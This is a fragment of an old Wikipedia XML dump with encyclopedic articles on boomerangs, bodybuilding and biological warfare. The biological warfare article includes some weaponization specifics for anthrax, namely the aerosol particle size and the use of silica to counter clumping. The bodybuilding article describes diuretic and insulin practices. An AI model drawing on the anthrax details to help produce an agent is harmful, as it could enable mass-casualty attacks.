==Boomerang quotes==

&quot;Remember, you are the target!&quot;   a traditional warning to beginning hurlers.

==Related terms==

A '''Kylie''' is one of the Aboriginal words for the hunting stick used in warfare and for hunting animals.  Instead of following a curved flight path, it flies in a straight line from the thrower.  They are typically much larger than boomerangs. It can travel very long distances, and due to its size and hook shape can cripple or kill an animal.  The word is perhaps an English corruption of a word meaning ''boomerang'' taken from one of the Western Desert languages, for example, the [[Warlpiri]] word ''karli''.

==Related links==

* [http://www.boomerang.org.au/articles/article-what-is-a-boomerang.html Boomerang Association of Australia: What is a Boomerang?] &lt;!-- We should really merge info from this source --&gt;
* [http://www.rediboom.com/englisch/geschich/index.html History of Boomerangs]
* [http://www.boomerang.org.au/articles/article-boomerang-competition-events.html Boomerang Association of Australia: Boomerang Competition Events]
* [http://www.boomerang.org.au/articles/article-boomerang-glossary.html Boomerang Association of Australia: Boomerang Glossary]
* [http://www.ifba-online.com/ International Federation of Boomerang Associations]
* [http://www.bumerangue.com/ Bumerangue.com: Further information, and vídeos, to download - Brazilian Site]
* [http://www.bumerangue.com.br/ Bahadara Sports - Brazilian Site]
* [http://www.master-designs.com/ Master Designs Boomerangs - Midwest USA]
* [http://www.baggressive.com/ All about long distance boomerangs]
* [http://www.freewebs.com/smallestboomerang/index.htm/ World's Smallest Boomerang]
[[Category:Boomerangs]]
[[Category:Sporting goods]]
[[Category:Throwing weapons]]
&lt;!-- The below are interlanguage links. --&gt;

[[bg:Бумеранг]]
[[da:Boomerang]]
[[de:Bumerang]]
[[es:Boomerang]]
[[fr:Boomerang]]
[[he:בומרנג]]
[[hu:Bumeráng]]
[[nl:Boemerang]]
[[no:Bumerang]]
[[ja:ブーメラン]]
[[pl:Bumerang]]
[[pt:Bumerangue]]
[[ru:Бумеранг]]
[[sl:Bumerang]]
[[sv:Bumerang]]
[[tr:Bumerang]]</text>
    </revision>
  </page>
  <page>
    <title>Bodybuilding</title>
    <id>4360</id>
    <revision>
      <id>42111119</id>
      <timestamp>2006-03-03T22:15:17Z</timestamp>
      <contributor>
        <username>Skookum1</username>
        <id>534835</id>
      </contributor>
      <comment>/* The &quot;Golden Age&quot; */ added golden era bodybuilding names - Reeves, Park etc.</comment>
      <text xml:space="preserve">[[Image:Dsc0047.JPG|thumb|200px|Swedish bodybuilder [[Anders Graneheim]].]]

'''Bodybuilding''' is the process of developing [[muscle]] fibers through the combination of [[weight training]], increased [[calorie|caloric]] intake, and rest.  Someone who engages in this activity is referred to as a '''bodybuilder'''.  As a [[sport]], called ''competitive bodybuilding'', bodybuilders display their physiques to a panel of [[judge]]s, who assign points based on their [[aesthetic]] appearance.

Arguably the most famous bodybuilder in the world is [[Arnold Schwarzenegger]], whose [[Hollywood]] [[Actor|acting]] career was launched after his success in bodybuilding.  His acting career was boosted by his appearance in the bodybuilding [[documentary film]] [[Pumping Iron]] after winning the 1975 [[Mr. Olympia]] title.  This film also helped another bodybuilder, [[Lou Ferrigno]], to get the part of [[The Incredible Hulk (TV Series)|The Incredible Hulk]] in the 1980s [[TV series]].

== History ==
As a sport of aesthetics, bodybuilding can be traced back to the [[11th century]] in [[India]] where athletes created their own [[dumbell]]s (called ''Nals'') out of [[rock (geology)|stone]] and [[wood]].  There is also evidence that they created the first kind of [[gym]]s around this period.

=== Early years ===
[[Image:Eugen Sandow.jpg|thumb|200px|Eugen Sandow]]

Bodybuilding did not really gain popularity until the late [[19th century]], when the sport was promoted by the [[Germany|German]] [[Eugen Sandow]] - who is now often referred to as the &quot;Father of modern bodybuilding&quot;. He is credited with inventing and selling the first machine made dumbbells.  Sandow organised the first ever bodybuilding contest on [[September 14]], [[1901]] called the &quot;Great Competition&quot; and held in the [[Royal Albert Hall]], [[London]], [[UK]]. Judged by himself, [[Charles Lawes|Sir Charles Lawes]], and [[Arthur Conan Doyle|Sir Arthur Conan Doyle]] the contest was a huge success and was a sell-out with hundreds of fans turned away. The trophy presented to the winner was a bronze statue of Sandow himself sculpted by [[Frederick Pomeroy]].  This statue (known as &quot;The Sandow&quot;) has been presented to the [[Mr. Olympia]] winner since [[1977]] [http://www.sandowmuseum.com/mrolympia.html].

In the early [[20th century]], [[Bernarr Macfadden]] and [[Charles Atlas]], continued to promote bodybuilding across the world.

=== The &quot;Golden Age&quot; ===
The period of around [[1940]] to [[1970]] is often referred to as the &quot;Golden Age&quot; of bodybuilding due to the judging emphasis on muscular symmetry and definition (rather than size).  During this time training techniques improved, more publications hit the shelves, and more contests were held.  In this period bodybuilding was typified by [[Muscle Beach]] in [[Santa Monica, California]], [[United States|US]].  Famous names in bodybuilding from this period were [[Steve Reeves]] (notable in his day for portraying Hercules and other sword-and-sandals heroes), [[Reg Park]], [[John Grimek]], [[Larry Scott]], and [[Bill Pearl]].

Due to the rise in popularity, the [[Amateur Athletic Union]] (AAU) added a bodybuilding competition to their existing weightlifting contest in [[1939]] - the next year this competition was named [[AAU Mr. America]].  Around the mid-[[1940s]] most bodybuilders became annoyed with the AAU since they only allowed amateur competitors and they place more focus on the Olympic sport of weightlifting.  This caused brothers [[Ben Weider|Ben]] and [[Joe Weider]] to form the [[International Federation of BodyBuilders]] (IFBB) - which organised their competing [[IFBB Mr. America]] which was open to professional athletes.

In [[1950]], another organisation, the [[National Amateur Bodybuilders Association]] (NABBA) started their [[NABBA Mr. Universe]] contest in [[England]].  Another major contest, [[Mr. Olympia]] was first held in [[1965]] - this is currently the most prestigious title in bodybuilding.

Initially contests were for men only, but the NABBA added Miss Universe in [[1965]] and Miss Olympia was started in [[1980]].  See [[Female bodybuilding#History]] for more.

=== 1970s onwards ===
In the [[1970s]], bodybuilding had major publicity thanks to [[Arnold Schwarzenegger]] and the [[1977]] film [[Pumping Iron]].  By this time the IFBB dominated the sport and the AAU took a back seat.

This period also saw the rise of [[anabolic steroid]]s both in bodybuilding and many other sports.  To combat this, and to be allowed to be an [[IOC]] member, the IFBB introduced strict doping tests for both steroids and other banned substances.

In the early 2000's, the IFBB was attempting to make bodybuilding an [[Olympic Games|Olympic]] sport.  It obtained full IOC membership in [[2000]] and was attempting to get approved as a demonstration event at the Olympics which would hopefully lead to it being added as a full contest.  This did not happen.  Olympic recognition for bodybuilding  remains controversial since some argue that bodybuilding is not a sport because the actual contest does not involve athletic effort.  Also, some still have the misperception that bodybuilding necessarily involves the use of anabolic steroids, which are prohibited in Olympic competitions.  Proponents argue that the posing routine requires skill and preparation, and bodybuilding should therefore be considered a sport. 

In 2003, Joe Weider sold Weider Publications to AMI, who owns the National Enquirer. Ben Weider is still the president of the IFBB. In 2004, contest promoter Wayne DeMilia broke ranks with the IFBB. AMI took over the promotion of the Mr. Olympia contest.

=== Female Bodybuilding ===
{{main|Female bodybuilding}}

In the [[1970s]] women began to take part in bodybuilding competitions. Extremely popular at first, the interest in the competitive side of female bodybuilding has waned sharply in recent years even though more women than ever are training with weights.

== Sport ==
&lt;!-- Unsourced image Image:Arnold-flexing.jpg removed --&gt;
''For biographies of professional bodybuilders see [[list of professional bodybuilders]] and [[:Category:Bodybuilders]]''

In competitive bodybuilding, bodybuilders aspire to develop and maintain an [[aesthetics|aesthetically]] pleasing (by bodybuilding standards) body and balanced physique. The competitors show off their bodies by performing a number of poses - bodybuilders spend time practicing their posing routine as this has a large effect on how they are judged.

A bodybuilder's size and shape are far more important than how much he or she can lift.  The sport should therefore not be confused with [[strongman (strength athlete)|strongman]] competition or [[powerlifting]], where emphasis is on actual physical [[strength]], or with [[weightlifting|Olympic weightlifting]], where emphasis is equally split between strength and technique.  Though superficially similar to the casual observer, the fields entail a different regimen of training, [[diet (nutrition)|diet]], and basic [[motivation]].

The main organization that promotes, funds, and judges bodybuilding competition is the [[International Federation of BodyBuilders]]. They organise bodybuilding's most prestigious competition - [[Mr. Olympia]].


=== Contest preparation ===
The general strategy adopted by competitive bodybuilders is to make muscle gains for most of the year (known as the &quot;off-season&quot;) and approximately 3-4 months from competition attempt to lose [[body fat]] (referred to as &quot;cutting&quot;). In doing this some muscle will be lost but the aim is to keep this to a minimum.  There are many approaches used but most involve reducing calorie intake and increasing cardio, while monitoring [[body fat percentage]].

In the week leading up to a contest, bodybuilders will begin increasing their [[water]] intake so as to upregulate the systems in the body associated with water flushing. They will also increase their [[sodium]] intake. At the same time they will decrease their carbohydrate consumption in attempt to &quot;carb deplete&quot;. The goal during this week is to deplete the muscles of [[glycogen]]. Two days before the show, sodium intake is reduced by half, and then eliminated completely. The day before the show, water is removed from the diet, and [[diuretics]] may be introduced. At the same time carbohydrates are re-introduced into the diet to fill out the muscles. This is typically known as &quot;carb-loading.&quot; The end result is an ultra-lean bodybuilder with full hard muscles and a dry, vascular appearance.

Right before performing on stage bodybuilders will apply various products to their skin to improve their muscle defintion - these include [[fake tan]] commonly called &quot;pro tan&quot; (to make the skin darker) and various [[Vegetable oil|oil]]s (to make the skin shiny).  They will also use weights to &quot;pump up&quot; by forcing blood to their muscles to improve size and vascularity.

== Strategy ==
In order to achieve muscle growth ([[hypertrophy]]), bodybuilders focus in three main lines of action:
* Resistance [[weight training]]
* Specialized [[nutrition]], incorporating extra [[protein]] and supplements where necessary
* Adequate rest to facilitate growth

=== Resistance weight training ===
[[Image:Bodybuilder2.jpg|thumb|200px|German Bodybuilder [[Markus Rühl]] posing in [[Biberach an der Riß]].]]
Resistance weight training causes microtears to the muscles being trained; this is generally known as [[microtrauma]].  These microtears in the muscle contribute to the soreness felt after exercise, called [[Delayed onset muscle soreness]] (DOMS).  It is the repair to these microtrauma that result in muscle growth ([[anabolism]]).  Normally, this soreness becomes most apparent a day or two after a workout.

=== Nutrition ===
The high levels of muscle growth and repair achieved by bodybuilders require a very specialised diet. Generally speaking, bodybuilders require anything between 500-1000 [[calorie]]s (2000 to 4000 [[joule|kilojoules]]) above their maintenance level of [[food energy]] while attempting to increase lean body mass. A sub-maintenance level of food energy is combined with cardiovascular exercise to lose body fat in preparation for a contest. The ratios of food energy from carbohydrates, proteins, and fats vary depending on the goals of the bodybuilder.

Bodybuilders usually split their food intake for the day into 5 to 7 meals of roughly equal nutritional content and attempt to eat at regular intervals (normally between 2 and 3 hours).  This is thought to allow greater absorption of nutrients and increase [[basal metabolic rate]].  The process is also used by people trying to lose weight.

==== Carbohydrates ====
Having a large proportion of the diet come from [[carbohydrate]]s gives the body enough energy to deal with the rigours of training and recovery. Bodybuilders require [[polysaccharide]]s, which release energy more slowly than simple sugars. This is important as simple sugars cause an [[insulin]] response, which places the body in a state where it is likely to store additional food energy as fat rather than muscle, and which can waste energy that should be going towards muscle growth. However bodybuilders do ingest some simple sugars (often in form of pure [[glucose]] or [[maltodextrin]]) post-workout to replenish [[glycogen]] stores within the muscle.

==== Protein ====
It is recommended that bodybuilders receive 1 to 2 grams of protein per pound of lean body weight (2 to 5 g/kg) to help the body recover and build.  It is a widely debated topic, with many arguing that 1 gram of protein per pound of body weight is ideal, and others recommending 1.5 or 2. There is much debate concerning the best type of protein to take.  Meat, fish, eggs and dairy foods are high in protein. Casein or [[whey protein|whey]] are often used to supplement the diet with additional protein. It is believed that protein needs to be consumed frequently throughout the day, however the most imporant times for bodybuilders to intake protein is within 45 minutes of a workout and before going to sleep.

==== Vitamins &amp; minerals ====
Bodybuilders almost universally take a multi-vitamin each day. [[Essential fatty acids]] (including omega-3s), which the body can not synthesize, are also consumed. Since [[anaerobic exercise]] is a very [[oxidizing]] process, most supplement with [[antioxidant]] vitamins such as; [[vitamin C]], [[vitamin E]], [[vitamin B]] and [[selenium]]. Since joint problems can cripple a bodybuilder's career, [[glucosamine]], MSM ([[methylsulfonylmethane]]), and [[chondroitin]] are taken to help promote strong joints. Research has also shown [[inositol]]'s positive effect on joint health and as an [[anti-inflammatory]]. As with all supplements, it is preferable to get the vitamin and mineral requirement from whole foods, though this is not always convenient.

==== Supplements ====
{{main|Bodybuilding supplements}}

Supplements can help muscle gain, although some are unproven and many are ineffective. One supplement which has been proven to help bodybuilders gain and maintain size (without unhealthy short term side effects) is [[creatine]].  Like all supplements, these only help if used in conjunction with a solid nutritional base and [[weight training]] program.

Some bodybuilders may use drugs to gain an advantage over results due to natural [[hypertrophy]], especially in professional competitions. Although many of these substances are illegal in many countries, in professional bodybuilding the use of [[anabolic steroid]]s and precursor substances such as [[prohormone]]s are used in high level competitions.  Most steroids allow the human body to be in a more [[anabolic]] state. Some negative side-effects accompany steroid abuse, such as [[liver]] damage and a decline in the body's own testosterone production, which can cause [[Testicle|testicular]] [[atrophy]] and possible [[infertility]].
[[Growth Hormone]] (GH) and [[insulin]] are also used by some of the larger bodybuilders. GH is incredibly expensive compared to steroids while insulin is very readily available yet fatal if misused. See [[Growth hormone treatment for bodybuilding]].

==== Overtraining ====
{{main|Overtraining}}

Overtraining is generally regarded as one of the biggest and most common problems bodybuilders face. It refers to when a bodybuilder has trained to the point where his workload exceeds his recovery capacity. There are many reasons that overtraining occurs, including lack of adequate nutrition, lack of recovery time between workous, insufficient sleep, and training at a high intensity for too long (a lack of periodization). Training at a high intensity too frequently also stimulates tthe [[central nervous system]] (CNS) too frequently, and can result in a hyper-adrenergic state that interferes with sleep patterns. To avoid overtraining, intense frequent training must be met with at least an equal amount of purposeful recovery. Timely provision of [[carbohydrates]], [[proteins]], and  various micronutrients such as [[vitamins]], [[minerals]], phytochemicals, even nutritional supplements are acutely critical.

It has been argued that overtraining can be beneficial. One article published by [[Muscle and Fitness|Muscle and Fitness Magazine]] stated that you can &quot;Overtrain for Big Gains&quot;.  It suggested that if one is planning a restful holiday and they do not wish to inhibit their bodybuilding lifestyle too much, they should overtrain before taking the holiday, so the body can rest easily and recuperate and grow.

More commonly however, overtraining can be used advantageously, as when a bodybuilder is purposely overtrained for a brief period of time to super compensate during a regeneration phase. These are known as &quot;shock microcycles&quot; and were a key training technique used by Soviet athletes. The vast amount of overtraining that occurs in average bodybuilders however, is gernally unplanned and completely unnecessary.

=== Rest ===
Related to overtraining is rest.  Without adequate rest and [[sleep]], muscles do not have an opportunity to recover and build.  About eight hours of sleep a night is desirable for the bodybuilder to be refreshed and ready for the next session, although this varies from person to person.  Additionally, many athletes find a daytime nap further increases their body's ability to build muscle.

== See also ==
{{Wiktionarycat|type=used in bodybuilding|category=Bodybuilding}}
{{wikibooks}}

* [[Health and fitness magazine]]
* [[List of professional bodybuilders]]
* [[:Category:Bodybuilders]]

*[[Physical culture]]
*[[Body image]]
*[[Amazon Feminism]]
*[[Striation]]
*[[Muscle dysmorphia]]

==External links==
&lt;!--                                                             --&gt;
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&lt;!-- CONSENSUS ON THE TALK PAGE. OTHERWISE THEY WILL BE REMOVED. --&gt;
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* [http://www.getbig.com/ GetBig.com]
*[http://health.dailynewscentral.com/content/view/0001401/36//bodybuilding_craze_teens.html Bodybuilding in Teens Becoming Excessive and Dangerous] Daily News Central Health
* [http://www.juiceduk.com Juiced UK] United Kingdom bodybuilding community

[[Category:Bodybuilding|*]]

[[ar:كمال أجسام]]
[[da:Bodybuilding]]
[[de:Bodybuilding]]
[[es:Fisicoculturismo]]
[[fr:Culturisme]]
[[it:Bodybuilding]]
[[ms:Bina badan]]
[[nl:Bodybuilding]]
[[ja:ボディビル]]
[[pl:Kulturystyka]]
[[pt:Culturismo]]
[[ru:Бодибилдинг]]
[[fi:Kehonrakennus]]
[[sv:Bodybuilding]]
[[zh:健美]]</text>
    </revision>
  </page>
  <page>
    <title>Biological warfare</title>
    <id>4361</id>
    <revision>
      <id>42001766</id>
      <timestamp>2006-03-03T03:43:03Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/203.49.175.90|203.49.175.90]] ([[User talk:203.49.175.90|talk]]) to last version by 217.88.56.201</comment>
      <text xml:space="preserve">{{WMD}}
'''Biological warfare''', also known as '''germ warfare''', is the use of any [[organism]] ([[bacteria]], [[virus (biology)|virus]] or other disease-causing organism) or [[toxin]] found in nature, as a [[weapon]] of [[war]]. It is meant to incapacitate or kill an adversary.  It may also be defined as the employment of biological agents to produce casualties in man or animals and damage to plants or material; or defense against such employment.

The creation and stockpiling of biological weapons is outlawed by the 1972 [[Biological Weapons Convention]], signed by over 100 states, because a successful attack could conceivably result in thousands, possibly even millions, of deaths and could cause severe disruptions to societies and economies.  Oddly enough, the convention prohibits only creation and storage, but not usage, of these weapons.  However, the consensus among military analysts is that, except in the context of [[bioterrorism]], biological warfare is militarily of little use.  

The main problem is that a biological warfare attack would take days to implement, and therefore, unlike a [[nuclear warfare|nuclear]] or [[chemical warfare|chemical]] attack, would not immediately stop an advancing army.
As a strategic weapon, biological warfare is again militarily problematic, because unless it is used to poison enemy civilian towns, it is difficult to prevent the attack from spreading, either to allies or to the attacker, and a biological warfare attack invites immediate massive retaliation, usually in the same form.  

== History ==

The use of [[biological agent]]s is not new, but before the 20th century, biological warfare took three main forms: 
* deliberate [[poison]]ing of [[food]] and [[water]] with infectious material
* use of microorganisms, toxins or animals, living or dead, in a weapon system
* use of biologically inoculated fabrics

Biological warfare has been practiced repeatedly throughout history. During the 6th Century B.C., the [[Assyrian people|Assyrians]] poisoned enemy wells with a [[fungus]] that would make the enemy delusional. In [[184 BC]], [[Hannibal|Hannibal of Carthage]] had clay pots filled with poisonous snakes and instructed his soldiers to throw the pots onto the decks of [[Pergamon|Pergamene]] ships.
  
Historical accounts from medieval Europe detail the use of infected animal carcasses, by Mongols, Turks and other groups, to infect enemy water supplies. Prior to the [[bubonic plague]] epidemic known as the [[Black Death]], [[Mongol]] and [[Ottoman Empire|Turkish]] armies were reported to have catapulted diseased corpses into besieged cities.

&lt;div style=&quot;clear: both&quot;&gt;&lt;/div&gt;
{{history of war}}

During the [[Middle Ages]], victims of the [[bubonic plague]] were used for biological attacks, often by flinging their corpses and excrement over castle walls using [[catapult]]s.  The last known incident of using plague corpses for biological warfare occurred in [[1710]], when [[Russia]]n forces attacked the [[Sweden|Swedes]] by flinging plague-infected corpses over the city walls of [[Reval]] (Tallinn).

The [[Indigenous peoples of the Americas|Native American]] population was decimated after contact with the [[Old World]] due to the introduction of many different fatal diseases.  The [[British army]] at least once used [[smallpox]] as a weapon, when they gave contaminated blankets to the [[Lenape]] during [[Pontiac's War]].  It is suspected but not confirmed that biological warfare was used against the Indians at other times as well.

Native peoples in [[Aptos, California|Aptos]] gave [[Spain|Spaniards]] gifts of freshly cut flowers wrapped in leaves of [[poison oak]].

During the [[United States Civil War]], [[William Tecumseh Sherman|General Sherman]] reported that [[Confederate]] forces shot farm animals in ponds upon which the Union depended for drinking water.

Use of such weapons was banned in international law by the [[Geneva Protocol]] of [[1925]]. The [[1972]] [[Biological and Toxin Weapons Convention]] extended the ban to almost all production, storage and transport. However, the [[Soviet Union]] continued research and production of offensive biological weapons in a program called [[biopreparat]], despite having signed the [[Biological and Toxin Weapons Convention]]. The [[United States]] was unaware of the program until [[Dr. Kanatjan Alibekov]], the first deputy director of [[biopreparat]] defected in 1992.  It is, however, believed that since the signing of the convention the number of countries capable of producing such weapons has increased.

During the [[Sino-Japanese War (1937-1945)]] and [[World War II]], [[Unit 731]] of the [[Imperial Japanese Army]] conducted [[human experimentation]] on thousands, mostly [[China|Chinese]]. In military campaigns, the Japanese army used biological weapons on Chinese soldiers and civilians. This employment was largely viewed as ineffective due to inefficient delivery systems. However, new information has surfaced within the last decade, which alleges a more active Japanese usage. For example, firsthand accounts testify the Japanese infected civilians through the distribution of plagued foodstuffs, such as dumplings and vegetables. There are also reports of contaminated water supplies. Such estimates report over 580,000 victims, largely due to plague and cholera outbreaks. In addition, repeated seasonal outbreaks after the conclusion of the war bring the death toll much higher. 

In response to suspected biological weapons development in Germany and Japan, the United States, United Kingdom, and Canada initiated a BW development program in 1941 that resulted in the weaponization of anthrax, brucellosis, and botulinum toxin. The center for U.S. military BW research was Fort Detrick, Maryland. Some biological and chemical weapons research was also conducted at &quot;Dugway Proving Grounds&quot; in Utah. Research carried out in the [[United Kingdom]] during [[World War II]] left [[Gruinard island]] in [[Scotland]] contaminated with [[Anthrax disease|anthrax]] for the next 48 years. 

When biological and chemical weapons become too old, they sometimes need to be disposed of. Many N.A.T.O nations use the U.S. chemical weapons disposal facility on the tiny [[Johnston Atoll]] located in the middle of the Pacific.

Considerable research on the topic was performed by the [[United States]], the [[Soviet Union]] (see [[Biopreparat]]), and probably other major nations throughout the [[Cold War]] era, though it is generally believed that such weapons were never used. This view was challenged by China and North Korea, who accused the United States of large-scale field testing of biological weapons against them during the Korean War (1950-1953).  Their accusation is substantiated by Stephen Endicott and Edward Hagerman in 'The United States and Biological Warfare: secrets of the early Cold War and Korea' (Bloomington, Indiana University Press, 1998).  In [[1972]], the U.S. signed the [[Biological Weapons Convention|Biological and Toxic Weapons Convention]], which banned &quot;development, production and stockpiling of microbes or their poisonous products except in amounts necessary for protective and peaceful research.&quot;  By [[1996]], 137 countries had signed the treaty.

In [[1986]], the U.S. government spent US$42 million on research for developing defenses against infectious diseases and toxins, ten times more money than was spent in [[1981]]. The money went to 24 U.S. universities in hopes of developing strains on [[anthrax disease|anthrax]], [[Rift Valley fever]], [[Japanese encephalitis]], [[tularemia]], [[shigella]], [[botulin]], and [[Q fever]]. When the Biology Department at [[Massachusetts Institute of Technology|MIT]] voted to refuse [[The Pentagon|Pentagon]] funds for biotech research, the Reagan administration forced it to reverse its decision by threatening to cut off other funds. 

There have been reports that the [[United States Army]] has been developing weapons-grade anthrax spores at [[Dugway Proving Ground]], a chemical and biological defense testing facility in [[Utah]], since at least as early as [[1992]].  Under the BWC, nations are permitted to develop small amounts of BW agents for the purpose of defensive research. The United States maintains a stated national policy of never using biological weapons under any circumstances since November 1969 [[President Nixon]].

Today, several countries have or are developing biological warfare programmes. According to the U.S. [[Department of Defense]], more than ten countries are suspected to have continuing biological warfare programs, including [[Russia]], [[Israel]], [[China]], [[Iran]], [[Libya]], [[Syria]] and [[North Korea]]. Offensive programs in Iraq were disbanded after the first Gulf War.

''references for this section include (''Eitzen &amp; Takafuji, 1997'')''

== Biological weapons characteristics ==

Ideal characteristics of biological weapons are high infectivity, high potency, availability of vaccines, and delivery as an aerosol. 

Diseases most likely to be considered for use as biological weapons are contenders because of their lethality (if delivered efficiently), and robustness (making [[Particulate|aerosol]] delivery feasible). 

The biological agents used in biological weapons can often be manufactured quickly and easily. The primary difficulty is not the production of the biological agent but delivery in an infective form to a vulnerable target.  

For example, anthrax is considered an excellent agent. We use it here for discussion because it is historically important, and enough information is public that this discussion can't be used as a manual. First, it forms hardy spores, perfect for dispersal aerosols. Second, pneumonic (lung) infections of anthrax usually do not cause secondary infections in other people. Thus, the effect of the agent is usually confined to the target. A pneumonic anthrax infection starts with ordinary &quot;cold&quot; symptoms and quickly becomes lethal, with a fatality rate that is 80% or higher.  Finally, friendly personnel can be protected with suitable antibiotics.

A mass attack using anthrax would require the creation of aerosol particles of 1.5 to 5 micrometres. Too large and the aerosol would be filtered out by the respiratory system. Too small and the aerosol would be inhaled and exhaled.  Also, at this size, nonconductive powders tend to clump and cling because of electrostatic charges. This hinders dispersion. So, the material must be treated with silica to insulate and discharge the charges. The aerosol must be delivered so that rain and sun does not rot it, and yet the human lung can be infected.  There are other technological difficulties as well.

Diseases considered for weaponization, or known to be weaponized include [[Anthrax disease|anthrax]], [[Ebola]], [[Bubonic Plague]], [[Cholera]], [[Tularemia]], [[Brucellosis]], [[Q fever]], [[Machupo]], [[Coccidioides mycosis]], [[Glanders]], [[Melioidosis]], [[Shigella]], [[Rocky Mountain Spotted Fever]], [[Typhus]], [[Psisticosis]], [[Yellow Fever]], [[Japanese B Encephalitis]], [[Rift Valley Fever]], and [[Smallpox]]. Naturally-occurring toxins that can be used as weapons include [[Ricin]], [[SEB (virus)|SEB]], [[Botulism toxin]], [[Saxitoxin]], and many [[Mycotoxin]]s.

==Attacking crops and animals==
Biological warfare can also specifically target plants to destroy crops or defoliate vegetation.  The United States and Britain discovered plant growth regulators (i.e., [[herbicides]]) during the Second World War, and initiated a [[Herbicidal Warfare]] program that was eventually used in Malaya and Vietnam in counter insurgency.  Though [[herbicides]] are chemicals, they are often grouped with biological warfare as bioregulators in a similar manner as biotoxins.

The United States developed an anti-crop capability during the Cold War that used plant diseases ([[bioherbicide]]s, or [[mycoherbicide]]s) for destroying enemy agriculture.  It was believed that destruction of enemy agriculture on a strategic scale could thwart Sino-Soviet aggression in a general war.  Diseases such as [[wheat blast]] and [[rice blast]] were weaponized in aerial spray tanks and cluster bombs for delivery to enemy water sheds in agricultural regions to initiate epiphytotics (epidemics among plants).  When the United States renounced its offensive biological warfare program in 1969 and 1970, the vast majority of its biological arsenal was composed of these plant diseases.

Attacking animals is another area of biological warfare intended to eliminate animal resources for transportation and food.  In the First World War German agents were arrested attempting to inoculate draft animals with anthrax, and believed responsible for outbreaks of glanders in horses and mules.  The British tainted small feed cakes with anthrax in the Second World War as a potential means of attacking German cattle for food denial, but never employed the weapon.  In the 1950's the United States had a field trial with Hog Cholera.

==Protective measures==

The primary civil defense against biological weaponry is to [[hand washing|wash one's hands]] whenever one moves to a different building or set of people, and avoid touching door knobs, walls, the ground and one's mouth and nose.  Washing literally sends the germs down the drain.

More exotic methods include decontamination, usually done with household chlorine bleach (5% solution of [[sodium hypochlorite]]).  One useful decontamination is to leave shoes in an entranceway and make people wade and handwash in a footbath of bleach.  Another useful technique is to periodically decontaminate floors and door knobs.

Medical methods of civil defense include stockpiles of antibiotics and vaccines, and training for quick, accurate diagnoses and treatment.  Many weaponized diseases are unfamiliar to general practitioners.

Positive pressure shelters are possible but not cost-effective except for the most important installations.  This is because in most attacks, the agent will disperse in a long narrow ellipse downwind from the release point.  Persons outside the ellipse will not be affected except by secondary infection.  Persons within the release ellipse cannot be helped by civil defense measures.  They need medical diagnosis and treatment as soon as possible.

New wound dressings such as the [[biodressing]] are aiding the treatment possibilites of persons who sustain injury in areas contaminated by biological weaponry.

==The role of public health departments and disease surveillance==
It is important to note that all of the classical and modern biological weapons organisms are animal diseases, the only exception being smallpox.  Thus, in any use of biological weapons, it is highly likely that animals will become ill either simultaneously with, or perhaps earlier than humans.  Indeed, in the largest biological weapons &quot;accident&quot; known -- the anthrax outbreak in Sverdlovsk (now Yekaterinburg) in the Soviet Union in 1979, sheep became ill with anthrax as far as 200 kilometers from the release point of the organism from a military facility in the southeastern portion of the city (known as Compound 15 and still off limits to visitors today).  

Thus, a robust surveillance system involving human clinicians and veterinarians may identify a bioweapons attack early in the course of an epidemic, permitting the prophylaxis of disease in the vast majority of people (and/or animals) exposed but not yet ill.  For example in the case of anthrax, it is likely that by 24 -36 hours after an attack, some small percentage of individuals (those with compromised immune system or who had received a large dose of the organism due to proximity to the release point) will become ill with classical symptoms and signs (including a virtually unique chest X-ray finding, often recognized by public health officials if they receive timely reports).  By making this data available to local public health officials in real-time, most models of anthrax epidemics indicate that more than 80% of an exposed population can receive antibiotic treatment before becoming symptomatic, and thus avoiding the high mortality of the disease.

==See also==
* [[Biodressing]]
* [[Biological Weapons Convention]]
* [[Chemical warfare]]
* [[Asymmetric warfare]]
* [[Biosecurity]]
* [[Biological agent]]
* [[Antibiotic resistance]]
* [[Fort Detrick]]
* [[USAMRIID]]
* [[Unit 731]]
* [[Geneva Protocol]]
* [[Bioherbicide]]
* [[Mycoherbicide]]
* [[Rihab Rashid Taha]]
* [[List of environment topics]]
* [[Sverdlovsk Anthrax leak]]
* [[AIDS conspiracy theories]]

==References==
* {{cite book | author=Orent, Wendy | title=Plague, The Mysterious Past and Terrifying Future of the World's Most Dangerous Disease | publisher=Simon &amp; Schuster, Inc., New York, NY | year=2004 | id=ISBN 0-7432-3685-8}}
* {{cite book | author=Zelicoff, Alan and Bellomo, Michael | title=Microbe: Are we Ready for the Next Plague? | publisher=AMACOM Books, New York, NY | year=2005 | id=ISBN 0-8144-0865-6}}
* Eitzen, Edward M., Jr., M.D., M.P.H., FACEP, FAAP; and Takafuji, Ernest T., M.D., M.P.H.; Brigadier General Russ Zajtchuk, MC, U.S. Army. (ed.) (1997). [http://www.nbc-med.org/SiteContent/HomePage/WhatsNew/MedAspects/Ch-18electrv699.pdf Historical Overview of Biological Warfare]. In ''[http://www.nbc-med.org/SiteContent/HomePage/WhatsNew/MedAspects/contents.html Medical Aspects of Chemical and Biological Warfare]'', pp. 415-423. Office of The Surgeon General, Washington, DC.
* [[Jim Keith|Keith, Jim]] ''Biowarfare In America'', Illuminet Press (1999) ISBN: 1881532216
== External links ==
*[http://www.upmc-biosecurity.org Center for Biosecurity of UPMC]
*[http://www.biodefenseeducation.com BiodefenseEducation.org]
*[http://www.cbwinfo.com  Info on chemical and biological weapons for emergency and security personnel]
*[http://www.potomacinstitute.org/pubs/bt1proc.pdf Potomac Institute Course Notes]
*[http://www.sgaus.org/dahlke.htm The Terrorist Threat, Parts I, II &amp; III ]
*[http://www.emergency.com/2001/bio-treatment.htm US Army Treatment Summary Sheet]
*[http://www.who.int/emc/pdfs/BIOWEAPONS_FULL_TEXT2.pdf WHO: Health Aspects of Biological and Chemical Weapons]
*[[Monterey Institute of International Studies]] [http://cns.miis.edu/pubs/week/020805.htm article on the Yellow Rain controversy]
*Lewis, Susan K. &quot;History of Biowarfare.&quot; ''NOVA Online'', 2001. [http://www.pbs.org/wgbh/nova/bioterror/history.html http://www.pbs.org/wgbh/nova/bioterror/history.html] (2003&amp;ndash;04&amp;ndash;24)
*[http://deconference.com DECONference: Yearly conference on decontamination, including a decontamination drill]
*[http://www.fda.gov/cder/drugprepare/default.htm Drug Preparedness and Response to Terrorism]
*[http://groups.google.ca/group/alt.war.biological alt.war.biological] Usenet - Google
*[http://www.gao.gov/new.items/d0113.pdf Rapport counter measures of Coalition in War of Gulf]
*[http://www.gene-watch.org Council for Responsible Genetics]

[[Category:Biological warfare| ]]
